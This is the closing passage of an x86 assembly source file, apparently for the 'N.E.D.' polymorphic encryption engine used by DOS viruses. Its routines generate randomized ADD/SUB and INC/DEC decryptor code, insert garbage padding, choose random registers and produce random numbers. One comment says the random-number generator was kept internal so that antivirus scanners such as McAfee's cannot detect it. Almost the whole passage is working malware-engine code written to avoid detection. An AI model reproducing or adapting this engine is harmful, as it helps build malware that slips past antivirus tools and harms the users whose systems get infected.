add al,cl ; If it's a word, add one
|
||||
stosb ; Store the byte
|
||||
mov al,ah ; AL now holds ModR/M byte
|
||||
add al,bl ; Add back the register ModR/M
|
||||
stosb ; Store the byte in the code
|
||||
xchg bp,ax ; AX holds the ADD/SUB value
|
||||
jmp short put_byte_or_wd ; Reuse the above code
|
||||
|
||||
_tmp_jmp_store dw ? ; Pointer: temp. storage
|
||||
_jump_table dw load_sub - ned_start, load_add - ned_start
|
||||
dw load_xor - ned_start, load_not - ned_start
|
||||
dw load_neg - ned_start, load_move - ned_start
|
||||
dw make_mov - ned_start
|
||||
gen_mov endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; gen_add_sub
|
||||
;
|
||||
; Adds code to adjust a register either up or down. A random combination
|
||||
; of ADD/SUBs and INC/DECs is used to increase code variability. Note
|
||||
; that this procedure will only work on *word* registers; attempts to
|
||||
; use this procedure for byte registers (AH, AL, etc.) may result in
|
||||
; invalid code being generated.
|
||||
;
|
||||
; Arguments: BX = ModR/M table offset for register
|
||||
; CX = Number to be added/subtracted from the register
|
||||
; DX = 0 for addition, 1 for subtraction
|
||||
; SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
gen_add_sub proc near
|
||||
jcxz exit_g_a_s ; Exit if there's no adjustment
|
||||
add_sub_loop: call add_nop ; Add a do-nothing instruction?
|
||||
cmp cx,3 ; Have to adjust > 3 bytes?
|
||||
ja use_add_sub ; If so, no way we use INC/DEC!
|
||||
test word ptr [options],0100b; Are ADD/SUBs allowed?
|
||||
jne use_inc_dec ; If not, only use INC/DECs
|
||||
mov ax,3 ; Select a random number
|
||||
call rand_num ; between 0 and 2
|
||||
or ax,ax ; Does AX = 0?
|
||||
je use_add_sub ; If so, use ADD or SUB
|
||||
use_inc_dec: mov al,byte ptr [word_adj_table + bx] ; Table look-up
|
||||
add al,040h ; It's an INC...
|
||||
or dx,dx ; Are we adding?
|
||||
je store_it0 ; If so, store it
|
||||
add al,08h ; Otherwise create a DEC
|
||||
store_it0: stosb ; Store the byte
|
||||
dec cx ; Subtract one fromt total count
|
||||
jmp short cxz_check ; Finish off the loop
|
||||
use_add_sub: mov ax,2 ; Select a random number
|
||||
call rand_num ; between 0 and 1
|
||||
shl ax,1 ; Now it's either 0 or 2
|
||||
mov bp,ax ; Save the value for later
|
||||
add al,081h ; We're going to be stupid
|
||||
stosb ; and use an ADD or SUB instead
|
||||
mov al,byte ptr [word_adj_table + bx] ; Table look-up
|
||||
add al,0C0h ; It's an ADD...
|
||||
or dx,dx ; Are we adding?
|
||||
je store_it1 ; If so, store it
|
||||
add al,028h ; Otherwise create a SUB
|
||||
store_it1: stosb ; Store the byte
|
||||
mov ax,cx ; Select a random number
|
||||
call rand_num ; between 0 and (CX - 1)
|
||||
inc ax ; Ok, add back one
|
||||
or bp,bp ; Does BP = 0?
|
||||
je long_form ; If so, it's the long way
|
||||
stosb ; Store the byte
|
||||
jmp short sub_from_cx ; Adjust the count now...
|
||||
long_form: stosw ; Store the whole word
|
||||
sub_from_cx: sub cx,ax ; Adjust total count by AX
|
||||
cxz_check: or cx,cx ; Are we done yet?
|
||||
jne add_sub_loop ; If not, repeat until we are
|
||||
exit_g_a_s: ret ; Return to caller
|
||||
gen_add_sub endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; random_fill
|
||||
;
|
||||
; Pads out the decryption with random garbage; this is only enabled if
|
||||
; bit 3 of the options byte is set.
|
||||
;
|
||||
; Arguments: SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
random_fill proc near
|
||||
test word ptr [options],01000b ; Are we allowing this?
|
||||
jne exit_r_f ; If not, don't add garbage
|
||||
mov ax,2 ; Select a random number
|
||||
call rand_num ; between 0 and 1
|
||||
xchg cx,ax ; Wow! A shortcut to save
|
||||
jcxz exit_r_f ; a byte! If AX = 0, exit
|
||||
mov ax,101 ; Select a random number
|
||||
call rand_num ; between 0 and 100
|
||||
xchg cx,ax ; Transfer to CX for LOOP
|
||||
jcxz exit_r_f ; If CX = 0 then exit now...
|
||||
mov al,0EBh ; We'll be doing a short
|
||||
stosb ; jump over the code...
|
||||
mov ax,cx ; Let's get that value back
|
||||
stosb ; We'll skip that many bytes
|
||||
garbage_loop: mov ax,0FFFFh ; Select a random number
|
||||
call rand_num ; between 0 and 65534
|
||||
stosb ; Store a random byte
|
||||
loop garbage_loop ; while (--_CX == 0);
|
||||
exit_r_f: ret ; Return to caller
|
||||
random_fill endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; random_reg
|
||||
;
|
||||
; Returns the number of a random register. If CX = 1, a byte register is
|
||||
; used; if CX = 0, a word register is selected.
|
||||
;
|
||||
; Arguments: CX = 0 for word, 1 for byte
|
||||
; SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: AX = register number
|
||||
; BX = register's offset in cross-off table (used_it)
|
||||
;******************************************************************************
|
||||
|
||||
random_reg proc near
|
||||
get_rand_reg: mov ax,cx ; Select a random number
|
||||
add ax,7 ; between 0 and 6 for words
|
||||
call rand_num ; or 0 and 7 for bytes
|
||||
mov bx,ax ; Place in BX for indexing
|
||||
shr bx,cl ; Divide by two for bytes only
|
||||
cmp byte ptr [used_it + bx],0 ; Register conflict?
|
||||
jne get_rand_reg ; If so, try again
|
||||
ret ; Return to caller
|
||||
random_reg endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; rand_num
|
||||
;
|
||||
; Random number generation procedure for the N.E.D. This procedure can
|
||||
; be safely changed without affecting the rest of the module, with the
|
||||
; following restrictions: all registers that are changed must be preserved
|
||||
; (except, of course, AX), and AX must return a random number between
|
||||
; 0 and (BX - 1). This routine was kept internal to avoid the mistake
|
||||
; that MtE made, that is using a separate .OBJ file for the RNG. (When
|
||||
; a separate file is used, the RNG's location isn't neccessarily known,
|
||||
; and therefore the engine can't encrypt it. McAfee, etc. scan for
|
||||
; the random-number generator.)
|
||||
;
|
||||
; Arguments: BX = maximum random number + 1
|
||||
;
|
||||
; Returns: AX = psuedo-random number between 0 and (BX - 1)
|
||||
;******************************************************************************
|
||||
|
||||
rand_num proc near
|
||||
push dx ; Save DX
|
||||
push cx ; Save CX
|
||||
|
||||
push ax ; Save AX
|
||||
|
||||
rol word ptr [rand_val],1 ; Adjust seed for "randomness"
|
||||
add word ptr [rand_val],0754Eh ; Adjust it again
|
||||
|
||||
xor ah,ah ; BIOS get timer function
|
||||
int 01Ah
|
||||
|
||||
xor word ptr [rand_val],dx ; XOR seed by BIOS timer
|
||||
xor dx,dx ; Clear DX for division...
|
||||
|
||||
mov ax,word ptr [rand_val] ; Return number in AX
|
||||
pop cx ; CX holds max value
|
||||
div cx ; DX = AX % max_val
|
||||
xchg dx,ax ; AX holds final value
|
||||
|
||||
pop cx ; Restore CX
|
||||
pop dx ; Restore DX
|
||||
ret ; Return to caller
|
||||
|
||||
_rand_val dw 0 ; Seed for generator
|
||||
rand_num endp
|
||||
|
||||
ned_end label near ; The end of the N.E.D.
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user